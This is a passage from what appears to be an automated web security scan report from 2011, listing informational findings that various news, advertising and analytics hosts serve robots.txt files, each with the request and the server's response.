25.12. http://commerce.wsj.com/auth/login previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://commerce.wsj.com
Path:	/auth/login

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: commerce.wsj.com

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 10:12:04 GMT
Server: Apache
Last-Modified: Fri, 03 Aug 2007 21:00:35 GMT
ETag: "18-d9ae82c0"
Accept-Ranges: bytes
Content-Length: 24
P3P: CP=CAO DSP COR CURa ADMa DEVi TAIo PSAa PSDa IVDi CONi OTPi OUR OTRi BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA OTC
Connection: close
Content-Type: text/plain

User-agent: *
Disallow:

25.13. https://commerce.wsj.com/auth/forgotpass previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://commerce.wsj.com
Path:	/auth/forgotpass

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: commerce.wsj.com

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 10:43:32 GMT
Server: Apache
Last-Modified: Fri, 03 Aug 2007 21:00:35 GMT
ETag: "18-d9ae82c0"
Accept-Ranges: bytes
Content-Length: 24
P3P: CP=CAO DSP COR CURa ADMa DEVi TAIo PSAa PSDa IVDi CONi OTPi OUR OTRi BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA OTC
Connection: close
Content-Type: text/plain

User-agent: *
Disallow:

25.14. http://coretomic.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://coretomic.com
Path:	/

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: coretomic.com

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 11:34:45 GMT
Server: Apache/2.2.3 (Debian)
Last-Modified: Tue, 14 Oct 2008 10:54:51 GMT
ETag: "4ac3b5-1b-4593471e754c0"
Accept-Ranges: bytes
Content-Length: 27
Connection: close
Content-Type: text/plain; charset=iso-8859-1

User-agent: *
Disallow:

25.15. http://dowjones.tt.omtrdc.net/m2/dowjones/mbox/standard previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://dowjones.tt.omtrdc.net
Path:	/m2/dowjones/mbox/standard

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: dowjones.tt.omtrdc.net

Response

HTTP/1.1 200 OK
ETag: W/"25-1299290853000"
Accept-Ranges: bytes
Content-Length: 25
Date: Sat, 14 May 2011 10:35:40 GMT
Connection: close
Last-Modified: Sat, 05 Mar 2011 02:07:33 GMT
Server: Test & Target
Content-Type: text/plain

User-agent: *
Disallow: /

25.16. http://ds.serving-sys.com/BurstingCachedScripts//SBTemplates_2_3_0/StdBanner.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ds.serving-sys.com
Path:	/BurstingCachedScripts//SBTemplates_2_3_0/StdBanner.js

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: ds.serving-sys.com

Response

HTTP/1.0 200 OK
Content-Type: text/plain
Last-Modified: Mon, 16 Jan 2006 13:19:41 GMT
Server: Microsoft-IIS/6.0
Date: Sat, 14 May 2011 10:09:25 GMT
Content-Length: 28
Connection: close
Accept-Ranges: bytes

User-agent: *
Disallow: /

25.17. http://fls.doubleclick.net/activityi previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://fls.doubleclick.net
Path:	/activityi

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: fls.doubleclick.net

Response

HTTP/1.0 200 OK
Content-Type: text/plain
Date: Sat, 14 May 2011 10:09:19 GMT
Server: Floodlight server
Cache-Control: private
X-XSS-Protection: 1; mode=block

User-Agent: *
Disallow: /
Noindex: /

25.18. http://gg.google.com/csi previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://gg.google.com
Path:	/csi

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: gg.google.com

Response

HTTP/1.0 200 OK
Content-Type: text/plain
Last-Modified: Mon, 09 May 2011 20:53:07 GMT
Date: Sat, 14 May 2011 11:02:53 GMT
Expires: Sat, 14 May 2011 11:02:53 GMT
Cache-Control: private, max-age=0
Vary: Accept-Encoding
X-Content-Type-Options: nosniff
Server: sffe
X-XSS-Protection: 1; mode=block

User-agent: *
Disallow: /search
Disallow: /groups
Disallow: /images
Disallow: /catalogs
Disallow: /catalogues
Disallow: /news
Allow: /news/directory
Disallow: /nwshp
Disallow: /setnewsprefs?
Disallow:
...[SNIP]...

25.19. http://googleads.g.doubleclick.net/pagead/viewthroughconversion/1033560366/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://googleads.g.doubleclick.net
Path:	/pagead/viewthroughconversion/1033560366/

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: googleads.g.doubleclick.net

Response

HTTP/1.0 200 OK
Content-Type: text/plain
Date: Sat, 14 May 2011 10:18:08 GMT
Server: cafe
Cache-Control: private
X-XSS-Protection: 1; mode=block

User-Agent: *
Allow: /ads/preferences/
Disallow: /
Noindex: /

25.20. http://i1.marketwatch.com/MW5/content/business/css/marketwatch.member.css previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://i1.marketwatch.com
Path:	/MW5/content/business/css/marketwatch.member.css

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: i1.marketwatch.com

Response

HTTP/1.0 200 OK
Content-Length: 2004
Content-Type: text/plain
Last-Modified: Fri, 21 Nov 2008 00:50:51 GMT
Accept-Ranges: bytes
ETag: "da167233734bc91:8037"
Server: Microsoft-IIS/6.0
X-Machine: SB-IMAGE1
X-Powered-By: ASP.NET
Date: Sat, 14 May 2011 10:12:52 GMT
Connection: close

User-agent: *
Disallow: /3com/
Disallow: /admin/
Disallow: /archive/
Disallow: /bin/
Disallow: /cgi-bin/
Disallow: /data/
Disallow: /dbcfiles/
Disallow: /dhtml/
Disallow: /dhtmlmenu/
Disallo
...[SNIP]...

25.21. http://i3.marketwatch.com/MW5/content/story/css/story-typography.css previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://i3.marketwatch.com
Path:	/MW5/content/story/css/story-typography.css

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: i3.marketwatch.com

Response

HTTP/1.0 200 OK
Content-Type: text/plain
Last-Modified: Fri, 21 Nov 2008 00:50:51 GMT
Accept-Ranges: bytes
ETag: "da167233734bc91:0"
Server: Microsoft-IIS/7.5
X-MACHINE: SBKSIMGWEBP01
Content-Length: 2004
Date: Sat, 14 May 2011 10:25:07 GMT
Connection: close

User-agent: *
Disallow: /3com/
Disallow: /admin/
Disallow: /archive/
Disallow: /bin/
Disallow: /cgi-bin/
Disallow: /data/
Disallow: /dbcfiles/
Disallow: /dhtml/
Disallow: /dhtmlmenu/
Disallo
...[SNIP]...

25.22. http://i4.marketwatch.com/MW5/content/story/css/story-layout.css previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://i4.marketwatch.com
Path:	/MW5/content/story/css/story-layout.css

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: i4.marketwatch.com

Response

HTTP/1.0 200 OK
Content-Length: 2004
Content-Type: text/plain
Last-Modified: Fri, 21 Nov 2008 00:50:51 GMT
Accept-Ranges: bytes
ETag: "da167233734bc91:8037"
Server: Microsoft-IIS/6.0
X-Machine: SB-IMAGE1
X-Powered-By: ASP.NET
Date: Sat, 14 May 2011 10:25:01 GMT
Connection: close

User-agent: *
Disallow: /3com/
Disallow: /admin/
Disallow: /archive/
Disallow: /bin/
Disallow: /cgi-bin/
Disallow: /data/
Disallow: /dbcfiles/
Disallow: /dhtml/
Disallow: /dhtmlmenu/
Disallo
...[SNIP]...

25.23. http://idolpeeps.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://idolpeeps.com
Path:	/

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: idolpeeps.com

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 12:33:40 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
Last-Modified: Mon, 09 Mar 2009 22:45:48 GMT
ETag: "10604b1-3c-654a3f00"
Accept-Ranges: bytes
Content-Length: 60
Connection: close
Content-Type: text/plain

User-agent: Googlebot
Disallow: /

User-agent: *
Disallow: /

25.24. http://images.apple.com/global/nav/scripts/globalnav.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://images.apple.com
Path:	/global/nav/scripts/globalnav.js

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: images.apple.com

Response

HTTP/1.0 200 OK
Last-Modified: Tue, 06 Jan 1998 23:24:02 GMT
ETag: "41-3241c557be880"
Server: Apache/2.2.14 (Unix)
Cneonction: close
X-N: S
nnCoection: close
X-Cache-TTL: 600
X-Cached-Time: Tue, 04 Jan 2011 09:10:15 GMT
ntCoent-Length: 65
Content-Type: text/plain; charset=utf-8
Cache-Control: max-age=37
Expires: Sat, 14 May 2011 10:59:16 GMT
Date: Sat, 14 May 2011 10:58:39 GMT
Content-Length: 65
Connection: close
Set-Cookie: ccl=xVfSt7tGkdeYlFbM2hiJTjkKSCnI9Z/ywUgFCJElEuZyjIofCPQsFMumNevHjsY1lwCjxgWKJ+2HKvGP1clpi5ccl858fFa6ea9eJIVk/EUWSMmohakfwIYpC5uMkqp9SNFFqSPZTJnLYGYWVFdlCY1yQ9l0ZcZ6o3AJ9LhxmkMYbCgt8HM2GlOpVhhtRI5jjqI+roP7kaMm4X3O9FricocyQlSKqof6A3VmPgNRhmQwXUKcRIGVpeLvu2WdIxR3TvBq2R9YMvhXV7l3jJD2+OWas3O+IzMeoFRfh18h6EOpYpDRfI7573/fK9HnzdwY3LOgWG97D1CmpyAHO6NzbN+pSXRs4+Ah5jcF3gOfnsKXg+TBHJqXk34S1khQpmWMZzeff+eKwEW8+bj8gKxAQQag2UwjOgheD/FCFYmMK1Z2bqAKMd8vS7CfdNWrpH2XRDBOKWKAfPsEFAGPXvtvoJGnh4sUrfICzRI6eQre2M5uKRe1lTxLiURZbxkEZjOo1xcqrUGW/DRdUPxo7qyOool8U/gPDkWH6OzlqAe3KsUVBmY+aonEm4YWqQB/2boL; path=/; domain=.apple.com
Set-Cookie: geo=US; path=/; domain=.apple.com

# robots.txt for http://www.apple.com/
User-agent: *
Disallow:

25.25. http://images.scanalert.com/images/liveperson/set03/repoffline.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://images.scanalert.com
Path:	/images/liveperson/set03/repoffline.gif

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: images.scanalert.com

Response

HTTP/1.0 200 OK
Server: McAfeeSecure
ETag: "EKdW2Rg2Pnr"
Last-Modified: Wed, 03 Sep 2008 18:43:59 GMT
Accept-Ranges: bytes
Content-Type: text/plain; charset=utf-8
Content-Length: 44
Date: Sat, 14 May 2011 12:52:35 GMT
Connection: close
Cache-Control: private

# Allow Everything
User-agent: *
Disallow:

25.26. http://img.mediaplex.com/content/0/13754/86576/FINS_phone_300x250.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://img.mediaplex.com
Path:	/content/0/13754/86576/FINS_phone_300x250.js

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: img.mediaplex.com

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 10:12:42 GMT
Server: Apache
Last-Modified: Sat, 10 Mar 2007 17:40:16 GMT
ETag: "1b1a-1a-42b5608766000"
Accept-Ranges: bytes
Content-Length: 26
Keep-Alive: timeout=5
Connection: Keep-Alive
Content-Type: text/plain; charset=ISO-8859-1

User-agent: *
Disallow: /

25.27. http://itunes.apple.com/us/app/wsj-house-of-the-day/id418203198 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://itunes.apple.com
Path:	/us/app/wsj-house-of-the-day/id418203198

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: itunes.apple.com

Response

HTTP/1.0 200 OK
Server: Apache
Last-Modified: Thu, 12 May 2011 14:44:51 GMT
ETag: "d1-4a3153b471ec0"
Accept-Ranges: bytes
Content-Length: 209
Content-Type: text/plain
Cache-Control: public, no-transform, max-age=1753
Date: Sat, 14 May 2011 10:58:07 GMT
Connection: close
X-Apple-Partner: origin.0

User-agent: *
Disallow: /WebObjects/MZFastFinance.woa
Disallow: /WebObjects/MZFinance.woa
Disallow: /WebObjects/MZPersonalizer.woa
Disallow: /WebObjects/MZSidebar.woa
Disallow: /WebObjects/MZStoreElem
...[SNIP]...

25.28. http://json6.ringrevenue.com/6/map_number previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://json6.ringrevenue.com
Path:	/6/map_number

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: json6.ringrevenue.com

Response

HTTP/1.1 200 OK
Accept-Ranges: bytes
Content-Type: text/plain
Date: Sat, 14 May 2011 12:52:06 GMT
ETag: "f012d611-7d-4a21897a60f80"
Last-Modified: Sat, 30 Apr 2011 01:20:14 GMT
Server: Apache/2.2.8 (Ubuntu) mod_ssl/2.2.8 OpenSSL/0.9.8g
Vary: Host,Accept-Encoding
Content-Length: 125
Connection: Close

# See http://www.robotstxt.org/wc/norobots.html for documentation on how to use the robots.txt file
User-agent: *
Disallow: /

25.29. http://jtools.smartmoney.com/marketspectrum/spectrumServer previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://jtools.smartmoney.com
Path:	/marketspectrum/spectrumServer

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: jtools.smartmoney.com

Response

HTTP/1.1 200 OK
Content-Length: 26
Content-Type: text/plain
Last-Modified: Tue, 27 Jan 2009 18:11:00 GMT
Accept-Ranges: bytes
ETag: "012989baa80c91:c634"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Date: Sat, 14 May 2011 10:18:45 GMT
Connection: keep-alive
Set-Cookie: NSC_tnz-ksvo-iuuq=ffffffff09f93b9a45525d5f4f58455e445a4a423660;expires=Sat, 14-May-2011 10:33:43 GMT;path=/

User-agent: *
Disallow: /

25.30. http://kara.allthingsd.com/20110513/dear-yahoo-board-your-investors-are-on-line-2-and-theyre-not-happy/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://kara.allthingsd.com
Path:	/20110513/dear-yahoo-board-your-investors-are-on-line-2-and-theyre-not-happy/

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: kara.allthingsd.com

Response

HTTP/1.1 200 OK
Server: nginx
Date: Sat, 14 May 2011 10:22:00 GMT
Content-Type: text/plain
Connection: close
Accept-Ranges: bytes
Last-Modified: Mon, 23 Feb 2009 23:54:51 GMT
Content-Length: 231

User-agent: Googlebot
Disallow: /search/

User-agent: Yahoo! Slurp
Disallow: /search/

User-agent: msnbot
Disallow: /search/

User-agent: Twiceler
Disallow: /search/

User-agent: Gigabot
Disallow: /se
...[SNIP]...

25.31. http://maps.google.com/maps/api/js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://maps.google.com
Path:	/maps/api/js

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: maps.google.com

Response

HTTP/1.0 200 OK
Content-Type: text/plain
Last-Modified: Mon, 09 May 2011 20:53:07 GMT
Date: Sat, 14 May 2011 11:01:37 GMT
Expires: Sat, 14 May 2011 11:01:37 GMT
Cache-Control: private, max-age=0
Vary: Accept-Encoding
X-Content-Type-Options: nosniff
Server: sffe
X-XSS-Protection: 1; mode=block

User-agent: *
Disallow: /search
Disallow: /groups
Disallow: /images
Disallow: /catalogs
Disallow: /catalogues
Disallow: /news
Allow: /news/directory
Disallow: /nwshp
Disallow: /setnewsprefs?
Disallow:
...[SNIP]...

25.32. http://maps.googleapis.com/maps/api/js/StaticMapService.GetMapImage previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://maps.googleapis.com
Path:	/maps/api/js/StaticMapService.GetMapImage

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: maps.googleapis.com

Response

HTTP/1.0 200 OK
Content-Type: text/plain
Last-Modified: Thu, 25 Mar 2010 09:42:43 GMT
Date: Sat, 14 May 2011 10:52:06 GMT
Expires: Sat, 14 May 2011 10:52:06 GMT
Cache-Control: private, max-age=0
X-Content-Type-Options: nosniff
Server: sffe
Content-Length: 26
X-XSS-Protection: 1; mode=block

User-agent: *
Disallow: /

25.33. http://metrics.apple.com/b/ss/applesuperglobal/1/H.20.3/s79162857956252 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://metrics.apple.com
Path:	/b/ss/applesuperglobal/1/H.20.3/s79162857956252

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: metrics.apple.com

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 10:59:35 GMT
Server: Omniture DC/2.0.0
Last-Modified: Tue, 28 Sep 2010 18:58:27 GMT
ETag: "3e055-18-6e161ac0"
Accept-Ranges: bytes
Content-Length: 24
xserver: www427
Keep-Alive: timeout=15
Connection: close
Content-Type: text/plain

User-agent: *
Disallow:

25.34. http://mp.apmebf.com/ad/js/13754-86576-1281-0 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://mp.apmebf.com
Path:	/ad/js/13754-86576-1281-0

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: mp.apmebf.com

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 10:12:38 GMT
Server: Apache
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR PSAo PSDo OUR IND UNI COM NAV"
Last-Modified: Sat, 10 Mar 2007 17:40:16 GMT
ETag: "1b1a-1a-42b5608766000"
Accept-Ranges: bytes
Content-Length: 26
Keep-Alive: timeout=5
Connection: Keep-Alive
Content-Type: text/plain; charset=ISO-8859-1

User-agent: *
Disallow: /

25.35. http://mt0.googleapis.com/vt previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://mt0.googleapis.com
Path:	/vt

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: mt0.googleapis.com

Response

HTTP/1.0 200 OK
Content-Type: text/plain
Last-Modified: Mon, 09 May 2011 20:53:07 GMT
Date: Sat, 14 May 2011 10:53:05 GMT
Expires: Sat, 14 May 2011 10:53:05 GMT
Cache-Control: private, max-age=0
Vary: Accept-Encoding
X-Content-Type-Options: nosniff
Server: sffe
X-XSS-Protection: 1; mode=block

User-agent: *
Disallow: /search
Disallow: /groups
Disallow: /images
Disallow: /catalogs
Disallow: /catalogues
Disallow: /news
Allow: /news/directory
Disallow: /nwshp
Disallow: /setnewsprefs?
Disallow:
...[SNIP]...

25.36. http://mt1.googleapis.com/vt previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://mt1.googleapis.com
Path:	/vt

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: mt1.googleapis.com

Response

HTTP/1.0 200 OK
Content-Type: text/plain
Last-Modified: Mon, 09 May 2011 20:53:07 GMT
Date: Sat, 14 May 2011 10:53:17 GMT
Expires: Sat, 14 May 2011 10:53:17 GMT
Cache-Control: private, max-age=0
Vary: Accept-Encoding
X-Content-Type-Options: nosniff
Server: sffe
X-XSS-Protection: 1; mode=block

User-agent: *
Disallow: /search
Disallow: /groups
Disallow: /images
Disallow: /catalogs
Disallow: /catalogues
Disallow: /news
Allow: /news/directory
Disallow: /nwshp
Disallow: /setnewsprefs?
Disallow:
...[SNIP]...

25.37. http://odb.outbrain.com/utils/ping.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://odb.outbrain.com
Path:	/utils/ping.html

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: odb.outbrain.com

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Accept-Ranges: bytes
ETag: W/"30-1286979849000"
Last-Modified: Wed, 13 Oct 2010 14:24:09 GMT
Content-Type: text/plain
Content-Length: 30
Date: Sat, 14 May 2011 10:23:22 GMT
Connection: close

User-agent: *
Disallow: /

25.38. http://om.dowjoneson.com/b/ss/djglobal,djwsj/1/H.20.3/s77142258654348 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://om.dowjoneson.com
Path:	/b/ss/djglobal,djwsj/1/H.20.3/s77142258654348

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: om.dowjoneson.com

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 10:09:19 GMT
Server: Omniture DC/2.0.0
Last-Modified: Tue, 28 Sep 2010 18:59:57 GMT
ETag: "bc24f-18-73736540"
Accept-Ranges: bytes
Content-Length: 24
xserver: www308
Keep-Alive: timeout=15
Connection: close
Content-Type: text/plain

User-agent: *
Disallow:

25.39. http://online.barrons.com/home previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://online.barrons.com
Path:	/home

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: online.barrons.com

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 10:12:52 GMT
Server: Apache
X-DEBUG-BOX-IDENT: sbkj2kiwebp04
X-DEBUG-MODULE-VERSION: DJCS mod_mon 0.7.0.9.4a
X-DEBUG-REQUEST: /robots.txt
X-DEBUG-NAMESPACE: inert-barrons
Last-Modified: Mon, 13 Apr 2009 20:59:46 GMT
Accept-Ranges: bytes
Content-Length: 676
P3P: CP=CAO DSP COR CURa ADMa DEVi TAIo PSAa PSDa IVDi CONi OTPi OUR OTRi BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA OTC
Keep-Alive: timeout=2, max=50
Connection: Keep-Alive
Content-Type: text/plain

##ACAP version=1.0

User-agent: *
Disallow: /article_email/
Disallow: /article_print/
Disallow: /home/
Disallow: /advanced_search/
Disallow: /login/
Disallow: /acct/
Disallow: /msgcenter/
Di
...[SNIP]...

25.40. http://online.wsj.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://online.wsj.com
Path:	/

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: online.wsj.com

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 10:09:05 GMT
Server: Apache
Last-Modified: Fri, 29 Apr 2011 15:25:42 GMT
Accept-Ranges: bytes
Content-Length: 1471
P3P: CP=CAO DSP COR CURa ADMa DEVi TAIo PSAa PSDa IVDi CONi OTPi OUR OTRi BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA OTC
Keep-Alive: timeout=2, max=7
Connection: Keep-Alive
Content-Type: text/plain

##ACAP version=1.0

User-agent: *
Disallow: /article_email/
Disallow: /article_print/
Disallow: /PA2VJBNA4R/
Disallow: /home/
Disallow: /advanced_search/
Disallow: /login/
Disallow: /acct/
D
...[SNIP]...

25.41. http://p.opt.fimserve.com/bht/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://p.opt.fimserve.com
Path:	/bht/

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: p.opt.fimserve.com

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
ETag: W/"26-1205261468000"
Last-Modified: Tue, 11 Mar 2008 18:51:08 GMT
Content-Type: text/plain
Content-Length: 26
Date: Sat, 14 May 2011 10:09:19 GMT
Connection: keep-alive

User-agent: *
Disallow: /

25.42. http://pixel.quantserve.com/pixel previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://pixel.quantserve.com
Path:	/pixel

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: pixel.quantserve.com

Response

HTTP/1.0 200 OK
Connection: close
Cache-Control: private, no-transform, must-revalidate, max-age=86400
Expires: Sun, 15 May 2011 10:25:15 GMT
Content-Type: text/plain
Content-Length: 26
Date: Sat, 14 May 2011 10:25:15 GMT
Server: QS

User-agent: *
Disallow: /

25.43. http://pubads.g.doubleclick.net/gampad/ads previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://pubads.g.doubleclick.net
Path:	/gampad/ads

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: pubads.g.doubleclick.net

Response

HTTP/1.0 200 OK
Content-Type: text/plain
Date: Sat, 14 May 2011 10:09:54 GMT
Server: cafe
Cache-Control: private
X-XSS-Protection: 1; mode=block

User-Agent: *
Allow: /ads/preferences/
Disallow: /
Noindex: /

25.44. http://puma.vizu.com/cdn/00/00/18/39/smart_tag.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://puma.vizu.com
Path:	/cdn/00/00/18/39/smart_tag.js

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: puma.vizu.com

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 10:09:28 GMT
Server: PWS/1.7.2.1
X-Px: ms iad-agg-n30 ( iad-agg-n6), ht-d iad-agg-n6.panthercdn.com
ETag: "9c6e3-1a-5c70b100"
P3P: CP="DSP NID OTP UNR STP NON", policyref="/w3c/p3p.xml"
Cache-Control: max-age=604800
Expires: Sun, 15 May 2011 17:00:10 GMT
Age: 493758
Content-Length: 26
Content-Type: text/plain; charset=UTF-8
Last-Modified: Fri, 15 Apr 2011 19:51:00 GMT
Connection: close

User-agent: *
Disallow: /

25.45. http://r.mzstatic.com/htmlResources/5176/web-storefront-base.cssz previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://r.mzstatic.com
Path:	/htmlResources/5176/web-storefront-base.cssz

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: r.mzstatic.com

Response

HTTP/1.0 200 OK
Server: Apache
Last-Modified: Thu, 12 May 2011 14:44:51 GMT
ETag: "d1-4a3153b471ec0"
Accept-Ranges: bytes
Content-Length: 209
Cache-Control: public,max-age=86400,no-transform
Content-Type: text/plain
Date: Sat, 14 May 2011 11:02:10 GMT
Connection: close

User-agent: *
Disallow: /WebObjects/MZFastFinance.woa
Disallow: /WebObjects/MZFinance.woa
Disallow: /WebObjects/MZPersonalizer.woa
Disallow: /WebObjects/MZSidebar.woa
Disallow: /WebObjects/MZStoreElem
...[SNIP]...

25.46. http://rea.wsj.net/javascripts/dragdrop.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://rea.wsj.net
Path:	/javascripts/dragdrop.js

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: rea.wsj.net

Response

HTTP/1.0 200 OK
Server: Apache
Last-Modified: Thu, 12 May 2011 09:54:54 GMT
ETag: "62-4a3112e55f780"
ntCoent-Length: 98
nnCoection: close
Content-Type: text/plain; charset=UTF-8
Cache-Control: private, max-age=86400
Date: Sat, 14 May 2011 10:46:45 GMT
Content-Length: 98
Connection: close

# To ban all spiders from the entire site uncomment the next two lines:
User-Agent: *
Disallow: /

25.47. http://realestate.wsj.com/for-sale/us/10010 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://realestate.wsj.com
Path:	/for-sale/us/10010

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: realestate.wsj.com

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 10:46:26 GMT
Server: Apache
Last-Modified: Thu, 12 May 2011 09:54:54 GMT
ETag: "62-4a3112e55f780"
Accept-Ranges: bytes
Content-Length: 98
Connection: close
Content-Type: text/plain; charset=UTF-8

# To ban all spiders from the entire site uncomment the next two lines:
User-Agent: *
Disallow: /

25.48. http://s.fins.com/CombineScriptHandler.ashx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://s.fins.com
Path:	/CombineScriptHandler.ashx

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: s.fins.com

Response

HTTP/1.0 200 OK
Content-Type: text/plain
Last-Modified: Wed, 11 May 2011 01:04:13 GMT
Accept-Ranges: bytes
ETag: "372fa15777fcc1:0"
Server: Microsoft-IIS/7.0
X-Powered-By: ASP.NET
Content-Length: 119
Date: Sat, 14 May 2011 10:13:31 GMT
Connection: close

User-agent: *
Sitemap: http://www.fins.com/sitemap.xml.gz
Disallow: /Finance/CandidateJobSearchResults.aspx
Allow: /

25.49. http://s.marketwatch.com/public/resources/documents/PixelTracking.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://s.marketwatch.com
Path:	/public/resources/documents/PixelTracking.html

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: s.marketwatch.com

Response

HTTP/1.0 200 OK
Server: Apache
Last-Modified: Fri, 29 Apr 2011 15:25:42 GMT
Accept-Ranges: bytes
Content-Length: 1471
P3P: CP=CAO DSP COR CURa ADMa DEVi TAIo PSAa PSDa IVDi CONi OTPi OUR OTRi BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA OTC
Content-Type: text/plain
Date: Sat, 14 May 2011 10:15:44 GMT
Connection: close

##ACAP version=1.0

User-agent: *
Disallow: /article_email/
Disallow: /article_print/
Disallow: /PA2VJBNA4R/
Disallow: /home/
Disallow: /advanced_search/
Disallow: /login/
Disallow: /acct/
D
...[SNIP]...

25.50. http://safebrowsing.clients.google.com/safebrowsing/downloads previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://safebrowsing.clients.google.com
Path:	/safebrowsing/downloads

Issue detail

The web server contains a robots.txt file.

